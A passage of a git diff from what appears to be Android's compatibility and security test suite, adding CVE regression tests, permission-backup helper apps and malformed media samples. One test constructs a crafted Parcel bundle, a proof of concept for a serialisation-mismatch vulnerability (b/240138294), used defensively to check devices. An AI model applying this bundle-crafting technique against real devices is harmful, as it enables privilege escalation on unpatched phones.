 import android.content.ContentResolver;
-import android.content.Context;
-import android.provider.SearchIndexableResource;
 
-import androidx.test.filters.SmallTest;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 import androidx.test.runner.AndroidJUnit4;
 
-import org.junit.After;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -46,26 +43,24 @@
     private static final String PROVIDER2 = "android.provider.apps.cts.multi2";
     private static final String PROVIDER_NONEXISTENT = "android.provider.apps.cts.multi3";
 
-    private Context mContext;
-    private ActivityManager mAm;
     private ContentResolver mContentResolver;
 
     @Before
     public void setUp() {
-        mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
-        mContentResolver = mContext.getContentResolver();
-        mAm = mContext.getSystemService(ActivityManager.class);
+        mContentResolver = InstrumentationRegistry.getInstrumentation()
+                            .getTargetContext().getContentResolver();
     }
 
-    @After
-    public void shutDown() {
+    @AfterClass
+    public static void shutDown() {
         killProviderProcess();
     }
 
-    private void killProviderProcess() {
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            mAm.forceStopPackage("android.provider.apps.cts.multiauthority");
-        });
+    private static void killProviderProcess() {
+        final ActivityManager am = InstrumentationRegistry.getInstrumentation()
+                                    .getTargetContext().getSystemService(ActivityManager.class);
+        SystemUtil.runWithShellPermissionIdentity(() ->
+                am.forceStopPackage("android.provider.apps.cts.multiauthority"));
     }
 
     @Test
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 2f5155a..9c603f8 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -40,8 +40,10 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 @RunWith(AndroidJUnit4.class)
-public class Settings_SystemTest {
+public class Settings_SystemTest extends StsExtraBusinessLogicTestCase {
     private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
     private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
     private static final String FLOAT_FIELD = System.FONT_SCALE;
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 0cf3dd5..56d02d2 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
         "compatibility-common-util-devicesidelib",
         "guava",
         "platform-test-annotations",
+        "permission-test-util-lib",
         "sts-device-util",
         "hamcrest-library",
         "NeneInternal",
@@ -80,6 +81,17 @@
         ":CtsDeviceInfo",
         ":RolePermissionOverrideTestApp",
         ":SplitBluetoothPermissionTestApp",
+        ":CtsPermissionBackupAppCert1",
+        ":CtsPermissionBackupAppCert1Dup",
+        ":CtsPermissionBackupAppCert2",
+        ":CtsPermissionBackupAppCert3",
+        ":CtsPermissionBackupAppCert4",
+        ":CtsPermissionBackupAppCert12",
+        ":CtsPermissionBackupAppCert12Dup",
+        ":CtsPermissionBackupAppCert34",
+        ":CtsPermissionBackupAppCert123",
+        ":CtsPermissionBackupAppCert4History124",
+        ":CtsAppThatRequestCustomCameraPermission",
     ],
 }
 
@@ -89,6 +101,95 @@
     manifest: "testdata/packageinstallertestapp.xml",
 }
 
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert1",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-1",
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert1Dup",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-1",
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert2",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-2",
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert3",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-3",
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert4",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-4",
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert12",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-1",
+    additional_certificates: [
+        ":permission-test-cert-2",
+    ],
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert12Dup",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-1",
+    additional_certificates: [
+        ":permission-test-cert-2",
+    ],
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert34",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-3",
+    additional_certificates: [
+        ":permission-test-cert-4",
+    ],
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert123",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-1",
+    additional_certificates: [
+        ":permission-test-cert-2",
+        ":permission-test-cert-3",
+    ],
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsPermissionBackupAppCert4History124",
+    min_sdk_version: "30",
+    certificate: ":permission-test-cert-4",
+    additional_certificates: [
+        ":permission-test-cert-1",
+
+    ],
+    rotationMinSdkVersion: "30",
+    lineage: ":permission-test-cert-with-rotation-history",
+    manifest: "testdata/permissionbackuptestapp/AndroidManifest.xml",
+}
+
 android_app_certificate {
     name: "security_cts_test_certificate",
     certificate: "security_cts_test_cert",
@@ -98,3 +199,30 @@
     name: "RolePermissionOverrideTestApp",
     manifest: "testdata/rolepermissionoverridetestapp.xml",
 }
+
+android_app_certificate {
+    name: "permission-test-cert-1",
+    certificate: "test-cert-1",
+}
+
+android_app_certificate {
+    name: "permission-test-cert-2",
+    certificate: "test-cert-2",
+}
+
+android_app_certificate {
+    name: "permission-test-cert-3",
+    certificate: "test-cert-3",
+}
+
+android_app_certificate {
+    name: "permission-test-cert-4",
+    certificate: "test-cert-4",
+}
+
+filegroup {
+    name: "permission-test-cert-with-rotation-history",
+    srcs: [
+        "test-cert-with-1-2-4-in-rotation-history",
+    ],
+}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index afdddfd..db49773 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -18,6 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="android.security.cts">
 
+    <permission-tree android:name="com.android.cts"/>
+
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
     <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
@@ -232,6 +234,26 @@
                 android:resource="@xml/syncadapter" />
         </service>
 
+        <activity android:name="android.security.cts.CVE_2021_0642.PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="CVE_2021_0642_ACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.security.cts.CVE_2021_0642.SecondActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="CVE_2021_0642_ACTION" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 9bd5eb7..6a6dc92 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -52,6 +52,17 @@
         <option name="cleanup" value="true" />
         <option name="push" value="RolePermissionOverrideTestApp.apk->/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk" />
         <option name="push" value="SplitBluetoothPermissionTestApp.apk->/data/local/tmp/cts/security/SplitBluetoothPermissionTestApp.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert1.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert1.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert1Dup.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert1Dup.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert2.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert2.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert3.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert3.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert4.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert4.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert12.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert12.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert12Dup.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert12Dup.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert123.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert123.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert34.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert34.apk" />
+        <option name="push" value="CtsPermissionBackupAppCert4History124.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert4History124.apk" />
+        <option name="push" value="CtsAppThatRequestCustomCameraPermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestCustomCameraPermission.apk" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
@@ -61,4 +72,9 @@
         <option name="test-timeout" value="900000" />
         <option name="hidden-api-checks" value="false" />
     </test>
+
+    <target_preparer class="android.cts.backup.BackupPreparer">
+        <option name="enable-backup-if-needed" value="true" />
+        <option name="select-local-transport" value="true" />
+    </target_preparer>
 </configuration>
diff --git a/tests/tests/security/AppThatRequestCustomCameraPermission/Android.bp b/tests/tests/security/AppThatRequestCustomCameraPermission/Android.bp
new file mode 100644
index 0000000..873733d
--- /dev/null
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/Android.bp
@@ -0,0 +1,37 @@
+//
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsAppThatRequestCustomCameraPermission",
+    defaults: [
+        "cts_defaults",
+        "mts-target-sdk-version-current",
+    ],
+    min_sdk_version: "30",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "mts",
+        "sts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+}
diff --git a/tests/tests/security/AppThatRequestCustomCameraPermission/AndroidManifest.xml b/tests/tests/security/AppThatRequestCustomCameraPermission/AndroidManifest.xml
new file mode 100644
index 0000000..a8143a7
--- /dev/null
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestcustomcamerapermission">
+
+    <permission android:name="appthatrequestcustomcamerapermission.CUSTOM"
+                android:permissionGroup="android.permission-group.CAMERA"
+                android:label="@string/permlab_custom"
+                android:description="@string/permdesc_custom"
+                android:protectionLevel="dangerous" />
+
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="appthatrequestcustomcamerapermission.CUSTOM" />
+
+    <application>
+        <activity android:name=".RequestCameraPermission" android:exported="true"
+                  android:visibleToInstantApps="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/AppThatRequestCustomCameraPermission/res/values/strings.xml
similarity index 77%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/security/AppThatRequestCustomCameraPermission/res/values/strings.xml
index 1a335c7..8de4638 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/res/values/strings.xml
@@ -1,4 +1,4 @@
-/*
+<!--
  * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,11 +12,9 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- */
+ -->
 
-package android.security.cts.cve_2021_0642;
-
-import android.app.Activity;
-
-public class PocActivity extends Activity {
-}
+<resources>
+    <string name="permlab_custom">Custom</string>
+    <string name="permdesc_custom">allows bypassing one-time permissions</string>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/security/AppThatRequestCustomCameraPermission/src/android/permission/cts/appthatrequestcustomcamerapermission/RequestCameraPermission.java b/tests/tests/security/AppThatRequestCustomCameraPermission/src/android/permission/cts/appthatrequestcustomcamerapermission/RequestCameraPermission.java
new file mode 100644
index 0000000..4bbeb53
--- /dev/null
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/src/android/permission/cts/appthatrequestcustomcamerapermission/RequestCameraPermission.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthatrequestcustomcamerapermission;
+
+import static android.Manifest.permission.CAMERA;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Handler;
+import android.util.Log;
+
+public class RequestCameraPermission extends Activity {
+
+    private static final String LOG_TAG = RequestCameraPermission.class.getSimpleName();
+
+    public static final String CUSTOM_PERMISSION = "appthatrequestcustomcamerapermission.CUSTOM";
+    private Handler mHandler;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        boolean cameraGranted =
+                checkSelfPermission(CAMERA) == PERMISSION_GRANTED;
+        boolean customGranted =
+                checkSelfPermission(CUSTOM_PERMISSION) == PERMISSION_GRANTED;
+
+        mHandler = new Handler(getMainLooper());
+
+        if (!cameraGranted && !customGranted) {
+            requestPermissions(new String[] {CAMERA}, 0);
+        } else {
+            Log.e(LOG_TAG, "Test app was opened with cameraGranted=" + cameraGranted
+                    + " and customGranted=" + customGranted);
+        }
+    }
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode, String[] permissions,
+            int[] grantResults) {
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+
+        if (requestCode == 0) {
+            if (grantResults[0] != PERMISSION_GRANTED) {
+                Log.e(LOG_TAG, "permission wasn't granted, this test should fail,"
+                        + " leaving test app open.");
+            } else {
+                // Delayed request because the immediate request might show the dialog again
+                mHandler.postDelayed(() ->
+                        requestPermissions(new String[] {CUSTOM_PERMISSION}, 1), 500);
+            }
+        } else if (requestCode == 1) {
+            if (grantResults[0] != PERMISSION_GRANTED) {
+                Log.e(LOG_TAG, "permission wasn't granted, this test should fail,"
+                        + " leaving test app open.");
+            } else {
+                // Here camera was granted and custom was autogranted, exit process and let test
+                // verify both are revoked.
+
+                // Delayed exit because b/254675301
+                mHandler.postDelayed(() -> System.exit(0), 1000);
+            }
+        }
+
+    }
+}
diff --git a/tests/tests/security/res/raw/cve_2022_25669.3gp b/tests/tests/security/res/raw/cve_2022_25669.3gp
new file mode 100644
index 0000000..f5ba05a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_25669.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_33234.mkv b/tests/tests/security/res/raw/cve_2022_33234.mkv
new file mode 100644
index 0000000..752e3cd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_33234.mkv
Binary files differ
diff --git a/tests/tests/security/res/values/strings.xml b/tests/tests/security/res/values/strings.xml
new file mode 100644
index 0000000..73dd5b9
--- /dev/null
+++ b/tests/tests/security/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <!-- CVE-2021-0642 -->
+    <string name="cve_2021_0642_action">CVE_2021_0642_ACTION</string>
+    <string name="cve_2021_0642_pkgPhone">com.android.phone</string>
+    <string name="cve_2021_0642_failMsg">Device is vulnerable to b/185126149 !!</string>
+    <string name="cve_2021_0642_msgResolveErrorVoicemail">The intent with action
+    ACTION_CONFIGURE_VOICEMAIL should resolve to either ResolverActivity or
+    VoicemailSettingsActivity</string>
+    <string name="cve_2021_0642_msgResolveErrorPocAction">The intent with action
+    CVE_2021_0642_ACTION should not be resolved to test package</string>
+</resources>
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 397c012..7bb74ff 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -18,29 +18,25 @@
 
 import static org.junit.Assert.fail;
 
-import android.app.Activity;
+import android.annotation.SuppressLint;
 import android.os.BaseBundle;
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.view.AbsSavedState;
 import android.view.View;
-import android.view.View.BaseSavedState;
-import android.annotation.SuppressLint;
+
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-import java.io.InputStream;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.lang.reflect.Field;
 import java.util.Random;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import android.security.cts.R;
-import android.platform.test.annotations.AsbSecurityTest;
-
 @RunWith(AndroidJUnit4.class)
 public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
 
@@ -601,6 +597,95 @@
         testAmbiguator(ambiguator);
     }
 
+    /*
+     * b/240138294
+     */
+    @AsbSecurityTest(cveBugId = 240138294)
+    @Test
+    public void test_lazyValueNegativeLength() throws Exception {
+        Ambiguator ambiguator = new Ambiguator() {
+            @Override
+            public Bundle make(Bundle preReSerialize, Bundle postReSerialize) {
+                // Find key that has hash below everything else
+                Random random = new Random(1234);
+                int minHash = 0;
+                for (String s : preReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+                for (String s : postReSerialize.keySet()) {
+                    minHash = Math.min(minHash, s.hashCode());
+                }
+
+                String negativePrefix, positivePrefix;
+                // When read as value, jump back to the start of the header (8 bytes)
+                negativePrefix = getStringEncodingInt(-8);
+                // Size of the malicious bundle before the 'cmd' key
+                positivePrefix = getStringEncodingInt(48);
+
+                String key1, key2, key3;
+                int key1Hash, key2Hash, key3Hash;
+
+                do {
+                    key1 = randomString(random);
+                    // 16 characters total, will be read as type parcelable array when
+                    // read as value
+                    key2 = negativePrefix + randomString(random, 14);
+                    key3 = positivePrefix + randomString(random, 14);
+                    key1Hash = key1.hashCode();
+                    key2Hash = key3.hashCode(); // 2 and 3 are swapped
+                    key3Hash = key2.hashCode();
+                } while (!(key1Hash < key2Hash && key2Hash < key3Hash && key3Hash < minHash));
+
+                // Pad bundles - ensures keys are in right hash order
+                padBundle(postReSerialize, preReSerialize.size() + 2, minHash, random);
+                padBundle(preReSerialize, postReSerialize.size() - 2, minHash, random);
+
+                // Write bundle
+                Parcel parcel = Parcel.obtain();
+
+                int sizePosition = parcel.dataPosition();
+                parcel.writeInt(0);
+                parcel.writeInt(BUNDLE_MAGIC_NATIVE);
+                int startPosition = parcel.dataPosition();
+
+                parcel.writeInt(preReSerialize.size() + 3); // Num key-value pairs
+
+                parcel.writeString(key1); // Key 1
+                parcel.writeString(key2); // Value 1/Key 2
+                parcel.writeInt(VAL_NULL);
+                parcel.writeString(key3);
+                parcel.writeInt(VAL_BUNDLE);
+                parcel.writeBundle(postReSerialize); // Value 3
+
+                // Data from preReSerialize bundle
+                writeBundleSkippingHeaders(parcel, preReSerialize);
+
+                // Fix up bundle size
+                int bundleDataSize = parcel.dataPosition() - startPosition;
+                parcel.setDataPosition(sizePosition);
+                parcel.writeInt(bundleDataSize);
+
+                parcel.setDataPosition(0);
+                Bundle bundle = parcel.readBundle();
+                parcel.recycle();
+                return bundle;
+            }
+
+            private String getStringEncodingInt(int i) {
+                Parcel parcel = Parcel.obtain();
+                parcel.writeInt(2);
+                parcel.writeInt(i);
+                parcel.writeInt(0);
+                parcel.setDataPosition(0);
+                String s = parcel.readString();
+                parcel.recycle();
+                return s;
+            }
+        };
+
+        testAmbiguator(ambiguator);
+    }
+
     private void testAmbiguator(Ambiguator ambiguator) {
         Bundle bundle;
         Bundle verifyMe = new Bundle();
@@ -653,6 +738,7 @@
         protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
 
         protected static final int BUNDLE_MAGIC = 0x4C444E42;
+        protected static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
         protected static final int INNER_BUNDLE_PADDING = 1;
 
         protected Field parcelledDataField;
@@ -711,8 +797,12 @@
         }
 
         protected static String randomString(Random random) {
+            return randomString(random, 6);
+        }
+
+        protected static String randomString(Random random, int len) {
             StringBuilder b = new StringBuilder();
-            for (int i = 0; i < 6; i++) {
+            for (int i = 0; i < len; i++) {
                 b.append((char)(' ' + random.nextInt('~' - ' ' + 1)));
             }
             return b.toString();
diff --git a/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt b/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt
index b449451..201df17 100644
--- a/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt
+++ b/tests/tests/security/src/android/security/cts/BasePermissionUiTest.kt
@@ -263,7 +263,9 @@
     private fun startActivityForFuture(
         intent: Intent
     ): CompletableFuture<Instrumentation.ActivityResult> =
-        activityRule.launchActivity(null).startActivityForFuture(intent)
+        CompletableFuture<Instrumentation.ActivityResult>().also {
+            activityRule.launchActivity(null).startActivityForFuture(intent, it)
+        }
 
     protected fun assertAppHasPermission(permissionName: String, expectPermission: Boolean) {
         assertEquals(
@@ -301,4 +303,4 @@
             click(By.res(ALLOW_BUTTON), timeoutMillis)
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
new file mode 100644
index 0000000..5314ae8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/CVE_2021_0642.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0642;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.security.cts.R;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicTestCase {
+
+    // b/185126149
+    // Vulnerable app    : TeleService.apk
+    // Vulnerable module : com.android.phone
+    // Is Play managed   : No
+    @AsbSecurityTest(cveBugId = 185126149)
+    @Test
+    public void testCVE_2021_0642() {
+        try {
+            // This test requires the device to have Telephony feature.
+            Context context = getInstrumentation().getTargetContext();
+            PackageManager pm = context.getPackageManager();
+            assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+
+            // Get ResolverActivity's name and package name
+            Intent customIntent = new Intent(context.getString(R.string.cve_2021_0642_action));
+            ResolveInfo riCustomAction =
+                    pm.resolveActivity(customIntent, PackageManager.MATCH_DEFAULT_ONLY);
+            assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorPocAction),
+                    !riCustomAction.activityInfo.packageName.equals(context.getPackageName()));
+            final String resolverPkgName = riCustomAction.activityInfo.packageName;
+            final String resolverActivityName = riCustomAction.activityInfo.name;
+
+            // Resolving intent with action "ACTION_CONFIGURE_VOICEMAIL"
+            Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+            ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+            final String resolvedPkgName = ri.activityInfo.packageName;
+            final String resolvedActivityName = ri.activityInfo.name;
+
+            // Check if intent resolves to either VoicemailActivity or ResolverActivity
+            boolean isVoicemailActivity =
+                    resolvedPkgName.equals(context.getString(R.string.cve_2021_0642_pkgPhone));
+            boolean isResolverActivity = resolvedPkgName.equals(resolverPkgName)
+                    && resolvedActivityName.equals(resolverActivityName);
+
+            assumeTrue(context.getString(R.string.cve_2021_0642_msgResolveErrorVoicemail),
+                    isVoicemailActivity || isResolverActivity);
+
+            // If vulnerability is present, the intent with action ACTION_CONFIGURE_VOICEMAIL
+            // would resolve to the IntentResolver i.e. ResolverActivity, the test would fail in
+            // this case.
+            assertFalse(context.getString(R.string.cve_2021_0642_failMsg), isResolverActivity);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
similarity index 93%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
rename to tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
index 1a335c7..ae73b01 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0642/PocActivity.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0642;
 
 import android.app.Activity;
 
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
similarity index 87%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/tests/security/src/android/security/cts/CVE_2021_0642/SecondActivity.java
index 1a335c7..4c0caee 100644
